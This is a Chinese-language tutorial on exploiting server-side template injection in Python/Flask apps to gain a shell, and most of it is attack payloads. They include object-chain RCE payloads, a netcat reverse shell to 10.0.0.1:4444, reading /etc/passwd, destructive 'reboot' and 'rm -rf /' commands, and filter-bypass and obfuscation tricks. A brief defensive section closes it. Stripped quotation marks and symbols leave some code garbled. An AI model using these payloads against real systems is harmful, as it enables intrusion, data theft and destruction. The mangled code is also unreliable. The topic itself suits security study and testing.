Python SSTI漏洞实战:从零到getshell的5种方法详解 Python SSTI漏洞实战从零到getshell的5种方法详解当你在渗透测试中发现一个使用Python框架开发的Web应用时模板注入漏洞(SSTI)往往是最容易被忽视却又极具杀伤力的攻击面。不同于常见的SQL注入或XSSSSTI直接利用了服务端模板引擎的执行能力让攻击者能够在服务器上执行任意代码。本文将带你深入Python SSTI的实战世界从基础原理到五种不同的getshell方法每个技巧都经过真实环境验证。1. SSTI漏洞核心原理与检测模板引擎的设计初衷是为了方便开发者动态生成HTML但当用户输入被直接拼接到模板中时危险就产生了。以Flask框架为例一个典型的漏洞代码片段如下app.route(/vulnerable) def vulnerable(): name request.args.get(name) return render_template_string(fHello {name}!)当攻击者提交{{7*7}}作为name参数时如果页面返回Hello 49!就确认存在SSTI漏洞。不同模板引擎的检测payload有所差异Jinja2{{7*7}}→ 49Tornado{{7*7}}→ 49Django{7*7}→ {7*7} (需要特定配置才会执行)关键检测步骤尝试基本数学运算{{7*7}}探测对象属性访问{{.__class__}}确认模板类型后选择对应攻击链注意实际测试时应先从无害payload开始避免直接触发防护机制2. 对象继承链攻击方法Python的万物皆对象特性为SSTI提供了绝佳的攻击面。通过访问内置类的继承链我们可以逐步定位到危险函数。以下是经典的三步攻击链# 获取字符串的类对象 .__class__ # 获取基类(通常是object) .__class__.__bases__[0] # 枚举所有子类 .__class__.__bases__[0].__subclasses__()实战中我们需要在这些子类中寻找包含os、subprocess等模块引用的类。以下是一个自动化搜索脚本{% for i in .__class__.__bases__[0].__subclasses__() %} {% if os in i.__init__.__globals__ %} {{ i.__name__ }} at index {{ loop.index0 }} {% endif %} {% endfor %}常见的有用子类索引可能因环境而异类名典型索引关键函数_wrap_close128popen, systemWarningMessage59os, syscatch_warnings59builtins, open3. 五种getshell实战方法3.1 直接调用popen执行命令这是最直接的利用方式通过_wrap_close类的popen函数执行系统命令{{ .__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[popen](id).read() }}绕过技巧使用字符串拼接id→id使用数字参数128→(10028)使用十六进制128→0x803.2 通过os模块执行命令当能访问到os模块时可以更灵活地执行命令{{ .__class__.__bases__[0].__subclasses__()[137].__init__.__globals__[os].system(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 10.0.0.1 4444 /tmp/f) }}重要变种# 使用os.popen读取命令输出 {{ .__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[os].popen(ls -la /).read() }} # 使用os.listdir遍历目录 {{ .__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[os].listdir(/) }}3.3 动态导入危险模块当直接访问os模块被拦截时可以通过__import__动态加载{{ .__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__import__](os).popen(whoami).read() }}高级用法- 链式导入多个模块{{ .__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__import__](subprocess).check_output([cat,/etc/passwd]).decode() }}3.4 利用__builtins__执行代码__builtins__包含了Python的核心内置函数是强大的攻击入口# 使用eval执行任意代码 {{ .__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[__builtins__][eval](__import__(os).system(reboot)) }} # 使用exec执行多行代码 {{ .__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[__builtins__][exec](import os\nos.system(rm -rf /)) }}3.5 利用Flask特殊上下文Flask框架提供了特殊的模板上下文对象其中一些包含危险函数# 探测可用对象 {{ self.__dict__ }} # 利用config对象 {{ config.__class__.__init__.__globals__[os].system(id) }} # 利用request对象 {{ request.application.__self__._get_data_for_json.__globals__[os].system(id) }}Flask特有函数利用# 通过url_for访问文件系统 {{ url_for.__globals__[os].listdir(/) }} # 通过lipsum执行命令 {{ lipsum.__globals__[os].popen(id).read() }}4. 高级绕过与隐蔽技巧当遇到基础防护时这些技巧能帮你突破限制4.1 过滤器绕过# 使用|attr代替.访问 {{ |attr(__class__)|attr(__bases__)|attr(__getitem__)(0)|attr(__subclasses__)() }} # 使用[]代替.访问 {{ [__class__][__bases__][0][__subclasses__]() }}4.2 字符串构造技巧# 使用join拼接字符 {{ [id]|join }} # 使用format构造 {{ %c%c|format(95,95) }} → __4.3 编码混淆# 十六进制编码 {{ \x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f }} → __class__ # Base64解码 {{ X19jbGFzc19f|b64decode }} → __class__5. 防御措施与检测方法了解攻击手段后我们也要知道如何防护开发者防护建议永远不要直接渲染用户输入使用安全的模板渲染方式# Flask安全用法 return render_template(index.html, nameescape(request.args.get(name)))限制模板访问范围# Jinja2沙箱环境 from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment()渗透测试检测清单尝试基本SSTI检测payload检查所有用户输入点URL参数、Headers、Cookies测试不同上下文普通文本、属性值、JavaScript块内验证过滤规则的完整性尝试多阶段编码绕过